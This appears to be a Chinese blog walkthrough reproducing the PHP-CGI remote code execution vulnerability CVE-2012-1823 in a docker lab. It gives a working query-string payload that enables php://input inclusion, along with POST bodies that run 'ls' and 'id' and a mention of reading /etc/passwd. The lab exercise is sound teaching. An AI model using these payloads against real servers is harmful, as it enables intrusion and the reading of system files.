PHP-CGI远程代码执行漏洞CVE-2012-1823复现

CVE-2012-1823

漏洞原因

用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。

影响版本

< php-5.3.12 or php < 5.4.2
mod方式、fpm方式不受影响

漏洞利用

cgi模式下的参数

-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

开启实验环境
 sudo docker-compose bulid
 sudo docker-compose up -d

在这里插入图片描述
在这里插入图片描述
然后ifconfig查看ip地址
在这里插入图片描述

访问网站

该站点在8080端口,直接访问
在这里插入图片描述
在后面加上-s,可发现返回源码,则说明存在此漏洞
在这里插入图片描述

制造漏洞

执行代码

用burpsuit抓post请求的数据包,然后修改数据包,可以php远程代码执行
我们先打开burpsuit,抓到数据包,传到repeater里
在这里插入图片描述
制作文件包含漏洞

-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input


<?php echo system("ls"); ?>

插入代码将GET请求方式改为POST,发送数据包,成功执行。
在这里插入图片描述
还可以返回id值

<?php echo shell_exec("id"); ?>

在这里插入图片描述
查看对方的/etc/passwd的文件
在这里插入图片描述

移除漏洞环境

不要离开当前目录,漏洞测试结束后,执行如下命令移除环境

sudo docker-compose down
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值